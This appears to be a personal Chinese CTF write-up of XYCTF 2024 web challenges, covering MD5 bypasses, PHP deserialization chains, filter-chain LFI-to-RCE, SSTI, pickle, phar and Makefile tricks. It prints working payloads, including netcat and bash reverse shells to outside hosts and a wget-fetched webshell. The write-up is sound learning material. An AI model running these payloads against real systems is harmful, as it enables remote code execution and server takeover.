前言
多做点题。总觉得自己做题做不出来,还是要多写一点。
ezhttp
知识点:http、robots.txt
源代码里提示密码放在了某个地方,直觉是robots.txt。然后可以进/l0g1n.txt看到账号和密码

然后是http的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
|
记录一下本地访问
Client-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded-For: localhost
X-Forwarded-For-Original:127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Host:127.0.0.1
|

ezmd5
知识点:md5碰撞
碰撞两张图片
本来应该用工具碰撞一下的,结果直接搜到了两张图片的md5值相同
原文链接:制造 MD5 碰撞

真要碰撞的话用MD5COLLGEN碰撞图片就行
Warm up
知识点:md5绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}
|
前面newstar做了差不多的题目,唯一需要注意的是extract($_GET);,它可以覆盖变量绕过$XY == $XYCTF
payload
1
|
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
|

1
2
3
4
5
6
7
8
|
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}
|
第一层用数组绕过
第二层解释一下preg_replace 函数
它有一个非常危险的修饰符:/e。当使用这个修饰符时,它会将替换字符串(第二个参数)当作PHP代码来执行。
第一个参数/.*/e可以匹配任意字符串
第二个参数是命令
第三个参数随便填,因为上面的模式是/.*/,可以匹配任意字符串

ezClass
知识点:php原生类Error:geMessage()、Spl原生类+伪协议利用
1
2
3
4
5
6
7
8
|
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
|
主要是考了一个Error原生类的getMessage可以构造任意字符串
1
2
3
|
?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage
//((new Error("system")) -> getMessage())((new Error("ls")) -> getMessage())
|
通过Error的getMessage返回system和ls,组合成("system")("ls")
在PHP中,("system")("ls") 是一个完全合法的表达式,它等同于:system("ls");

另一种解法
1
|
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,ls
|
通过tostring返回system和ls,和上面差不多。
ezRce
知识点:无字母rce(八进制+$0«<)
无字母rce,只有数字和几个符号,可以通过八进制构造命令

$0可以代表当前执行的脚本或Shell本身的名字
<<<:能将紧跟在后面的字符串作为标准输入(stdin)传递给前面的命令
$0 <<< '...' 的意思就是:启动一个新的Bash Shell,然后把 '...' 里的字符串内容喂给这个新的Shell去执行。
把八进制命令放进去就行
1
2
3
4
|
?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27
那其实直接八进制cat</flag也行
?cmd=$'\143\141\164'<$'\57\146\154\141\147'
|

ezLFI
知识点:利用filter过滤器的编码组合构造RCE
进页面什么都没有,提示LFI,就是文件包含,试试file参数

ok开包
包啥呀,啥都没有,不知到过滤了啥。直接翻wp了
贴一个exp,然后解释一下exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
|
首先是后门文件<?=$_GET[0];;?>base64后得到的是PD89YCRfR0VUWzBdYDs7Pz4=
在PHP Fliter中存在一种convert.iconv的过滤器,他可以用于转化字符集,然后我们发现
1
2
3
|
convert.iconv.UTF8.CSISO2022KR将始终在字符串前面附加"\x1b$)C"
convert.base64-decode基本上会忽略任何非有效 base64 的字符。
|
添加字符串前置\x1b$)C后,应用一些 iconv 转换链,使我们的初始 base64 保持不变 并将我们刚刚添加的部分转换为某些字符串,其中唯一有效的 base64 char 是我们 base64 编码的 PHP 代码的一部分
再通过base64-decode 和 base64-encode 删除中间的垃圾字符,从而构造出代码
老外写的,有一些不明不白的地方,看了很多文章都没有解惑,这里先放放。
ezPop
知识点:GC垃圾回收、call_user_func($a,$b)($c)($d)

链子很简单,就不多说了,主要是对call_user_func($a,$b)($c)($d)的理解
这行代码简单来说就是
1
2
3
|
$f1 = call_user_func($a, $b); // $f1 必须是 callable
$f2 = $f1($c); // $f2 必须是 callable
$result = $f2($d); // $result 就是最终结果
|
所以我们需要找到符合这种情况并且可以rce的函数
在寻找之前,我们要先了解一下__get()函数的逻辑
1
2
3
4
5
6
7
8
9
10
11
12
|
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST; // 1. 将整个 $_POST 数组复制给变量 $b
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) { // 2. 检查 $b 数组中是否存在键 'a'
unset($b['a']); // 3. 如果存在,就从 $b 数组中移除键 'a' 及其对应的值
}
call_user_func($a,$b)($c)($d);
}
|
综合一下有以下几种方案:
1
2
3
4
5
6
7
8
9
10
11
12
|
c="system";
d="tac /f*";
a=current&b=sprintf
/*
题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current,也可以用array_pop(array)这个是删除数组元素并返回,原理是一样的
call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf
其返回一个字符串,返回值就是传入的参数
*/
|
1
2
3
4
5
6
7
8
9
10
11
12
|
c=array('system');
d="tac /f*";
a=current&b=current
or
a=array_pop&b=array_pop
/*
array_pop(array)是删除数组元素并返回
array_pop(array("array_pop"))(array("system"))("cat /flag")
array_pop(array("system"))("cat /flag")
system("cat /flag")
*/
|
下面是官方wp
1
2
3
4
5
6
|
call_user_func(Closure::fromCallable[Closure,fromCallable])('system')('whoami')
/*
Closure::fromCallable 使用当前范围从给定的 callback 创建并返回一个新的匿名函数。此方法检查 callback 函数在作用域是否可调用,如果不能,就抛出TypeError。
*/
|
ezSerialize
知识点:反序列化知识点杂糅

绕过$this->token === $this->password,利用引用传递让二者相等
1
|
$a->password = &$a->token;
|
后续让token等于md5加密随机数,password也会直接等于token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
fpclosefpclosefpcloseffflllaaaggg.php
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
|
很基础的链子,值得一提的是有wakeup的话会优先调用这个函数,而不是unserialize
1
2
3
4
5
6
|
//记得把name的值调为空
$a = new E();
$a -> num = new D();
$a -> num -> lao = new B();
$a -> num -> lao -> luo = new A();
$a -> num -> lao -> luo -> mack = new C();
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
|
最后一层, echo new $_POST['X']($_POST['Y']);明显是利用原生类的,然后是链子的构造
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')这一层条件需要让adwa同时拥有两个不同类的属性,其实自己改一下就行,需要对序列化,反序列化更了解一点。
还有一些小绕过,读文件是用SplFileObject + php伪协议,具体exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<?php
// flag.php
class XYCTFNO1
{
public $crypto0 = "dev1l";
public $T1ng = "yuroandCMD258";
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
}
$a = new XYCTFNO3();
$a -> KickyMu = new XYCTFNO2();
$a -> KickyMu -> adwa = new XYCTFNO1();
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}
|

牢牢记住,逝者为大
知识点:wage远程下载木马、nc反弹shell

限长,考虑用
然后eval的内容被注释了(单行注释)我们需要用换行符%0a绕过
此外我们还需要添加一个#(%23)用于注释掉后面的内容,再加一个;,算上前面限长要利用的,一共十三个字符不多不少。
构造出
本来到这里就已经成功了,但是还有一个waf在
1
2
3
4
|
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
|
foreach (... as $val_name => $val_val):这是一个循环语句,用于遍历 $_GET 数组中的每一个元素。
也就是说,我们用get传的1也会被这层waf拦下。(改用POST会超字数)
然后就是如何绕过这层waf
因为get有许多限制,可以直接用wget远程下载文件写马或者nc 反弹shell
1
2
3
|
?cmd=%0a`$_GET[1]`;%23&1=nc 148.135.82.190 8888 -e /bi''n/sh
?b=wget -O ./she.php ip:port/she&cmd=%0a`$_GET[b]`;%23
|
解释一下wget

这里本来用内网穿透直接连上虚拟机的,但是内网穿透的域名里有被ban的字母,用云服务器又遇到了很多问题,这里先搁置一下。
搞了很久,最后解决了,有几个要点。
首先,你的云服务器的安全组需要添加规则,打开一些端口,我打开的是9999
然后需要起一个http服务,不然wget连不上。
这里可以用python启
1
|
python3 -m http.server 9999
|
然后启的服务器默认是在root目录下的,所以马要下在root目录下
最后就是读取了

另外,这道题目还可以用cp /flag em加八进制绕过
1
|
?cmd=%0d`$_GET[c]`;%23&c=$'\143\160'+$'\57\146\154\141\147'+$'\145\155'
|
连连看到底是连连什么看
一开始是个连连看,然后源代码发现文件包含,随便包一个,发现提示去what's_this.php

和ezLFI挺像的,是php_fileter_chain,
用脚本Issues · synacktiv/php_filter_chain_generator
生成一个"XYCTF<?php",这样就可以把payload的值改为XYCTF(直接写XYCTF的话会有脏数据)

1
|
convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode
|
但是php是需要过滤的(指的是我们生成的"XYCTF<?php"),我们手动加string.strip_tags过滤器来去除php标签
最终paylod
1
|
convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
|

我是一个复读机
知识点:脑洞ssti、request+attr绕过
爆破,密码是asdqwe
复读机一般都是ssti,然后ban了{{}}、{%%}
这里是可以用emoji表情代替{{}},这倒是可以防止fenjing一把锁了
然后就是普通的ssti,这里用request+ attr绕过
1
|
?sentence=😡lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()😡&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
|
login
知识点:pickle反序列化o指令码绕过
登录后,抓包提交发现有waf

注意到有类似base64码的东西,解码出来乱七八糟,还有app啥的,感觉是pickle反序列化,然后这里又有waf,那就试试用o指令集绕过吧

1
2
3
4
5
6
7
8
9
10
11
12
13
|
import base64
shell = b'''bash -c "bash -i >& /dev/tcp/6.tcp.cpolar.top/12932 0<&1"''' # 反弹shell语句
shell = b'''bash -c "bash -i >& /dev/tcp/6.tcp.cpolar.top/12932 0<&1"'''
payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''
print(base64.b64encode(payload).decode())
|
尴尬的是,因为ban了r指令,内网穿透的域名就有r,所有还是得用vps弹

give me flag
知识点:哈希长度拓展攻击

之前在basectf中遇到过这种哈希长度拓展攻击,好像还稍微解释了一下。
这里贴一个文章好了,就不深究了
浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园
然后本来是有长度拓展攻击的脚本,但是这里还加上了时间戳,所以就需要一个新的脚本加上时间戳来解决这道题
这里用的别的师傅的脚本,这里还需要GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼common文件夹中的内容,改一下hash_ext_attack.py就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import requests
import time
from common.HashExtAttack import HashExtAttack
from loguru import logger
import sys
logger.remove()
logger.add(sys.stderr, level="INFO")
for i in range(10,50):
value = "2"
times = str(int(time.time()) + 4 )
url = "http://127.0.0.1:9342/"
crack = HashExtAttack()
va,md5 = crack.run("","1941fdd8711dda8426747b1bb9f18bff",value + times,i)
data = f"?value={va[:len(va) - len(times) ]}&md5={md5}"
url = url + data
print(url)
now_time = int(time.time())
flag = 0
while(1):
a = requests.get(url)
if "XYCTF" in a.text:
print(a.text)
elif flag < 5 and int(time.time()) != now_time:
temp = a.text
now_time = int(time.time())
# print(temp.split("?>")[1],times,now_time,i)
print(times,now_time,i)
flag += 1
now_time = int(time.time())
if now_time > int(times) + 1:
break
|
然后这里肯定是还要爆破的,爆破flag的长度,要一点点试。
跑半天,跑不出来,反正就这么个事,就不多说了
pharme
开局一个文件上传,说是phar那肯定就是phar了,传了个图片马,没被ban,但是路径进不去。
源代码里看到class.php

简单看一下绕过函数,首先会去除cmd中所有的字母、下划线和括号,然后再把连续分号替换成ch3nxl,然后再与ch3nxl作比较,为真就进行eval
其实就是判断你的cmd中是否只有字母、下划线和括号。
所以是无数字rce,这里可以用eval(end(getallheaders()));获取所有http头,然后返回最后一个http头给eval函数(好思路啊)
不用这个的话,无参rce之前也做过
然后难点其实在eval函数那里的绕过,因为eval中间的内容是字符串拼接的,所以我们并不能直接通过#和//进行注释,需要用到__halt_compiler()来终止编译
所以构造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
class evil{
public $cmd="eval(end(getallheaders()));__halt_compiler();"; //写shell
}
@unlink('poc.phar'); //删除之前的test.phar文件(如果有)
$phar=new Phar('poc.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new evil();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
|

也可以用python进行gzip压缩
然后改个后缀名绕过文件名的waf
然后再class.php传
1
|
php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png
|
最后rce

ezMake
知识点:Makefile
这玩意还真没学过
简单看看这是个啥
Makefile 文件描述了 Linux 系统下 C/C++ 工程的编译规则,它用来自动化编译 C/C++ 项目。一旦写编写好 Makefile 文件,只需要一个 make 命令,整个工程就开始自动编译,不再需要手动执行 GCC 命令。
在Makefile中,你可以使用$(shell)函数来读取文件内容。
例:
1
2
3
|
content := $(shell cat file.txt)
上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。
|
然后题目也就是这样做

ez?Make
知识点:反弹shell
ban了一些东西,这里可以利用nc反弹shell,又是反弹shellQAQ
这里有waf,肯定又不能用内网穿透反弹shell了(感觉研究出来都没怎么利用过)
想到这突然想到有域名肯定有ip地址,在网上找了个域名解析网站
域名反查IP工具 - 域名IP查询 - 站查查
然后真的能查到!
那么就试试看,内网穿透反弹shell,能不能成功
结果显而易见了

εZ?¿м@Kε¿?
知识点:无字母数字makefile
前提知识点
Makefile的编写及四个特殊符号的意义@、$@、$^、$ - 春风一郎 - 博客园
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
一、@
这个符串通常用在“规则”行中,表示不显示命令本身,而只显示它的结果,例如Makefile中的内容为:
DIR_OBJ=./obj
CMD_MKOBJDIR=if [ -d ${DIR_OBJ} ]; then exit 0; else mkdir ${DIR_OBJ}; fi
mkobjdir:
@${CMD_MKOBJDIR}
命令行执行如下:
make mkobjdir
此时不会显示在命令行不会显示出if [ -d ${DIR_OBJ} ]; then exit 0; else mkdir ${DIR_OBJ}; fi,但如果规则行的TAB后没有以@开头,则会显示,不信可以试试。
二、$@、$^、$<
这三个分别表示:
$@ --代表目标文件(target)
$^ --代表所有的依赖文件(components)
$< --代表第一个依赖文件(components中最左边的那个)。
$? --代表示比目标还要新的依赖文件列表。以空格分隔。
$% --仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是"foo.a(bar.o)",那么,"$%"就是"bar.o","$@"就是"foo.a"。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。
三
' - ' 符号的使用
通常删除,创建文件如果碰到文件不存在或者已经创建,那么希望忽略掉这个错误,继续执行,就可以在命令前面添加 -,
-rm dir;
-mkdir aaadir;
' $ '符号的使用
美元符号$,主要扩展打开makefile中定义的变量
' $$ '符号的使用
$$ 符号主要扩展打开makefile中定义的shell变量
|

解析一下,这里flag就是第一个依赖文件名
在 Makefile 规则中:你写下 $$(<$<)
Makefile 解析:
$$ -> 转义成一个 $
$< -> 替换成第一个依赖的文件名(例如 input.txt)
结果:生成 Shell 命令 $(<input.txt)

baby_unserialize
java题woc,留着吧。
看是能看一点,但是还是有些难以理解
【Web】2024XYCTF题解(全)_xyctf2024-CSDN博客
XYCTF2024-Web方向题解-CSDN博客
小结
拖了这么久,终于是结束了,这个比赛题目很多,也很有收获,主要是有自己的研究发现我觉得是特别好的。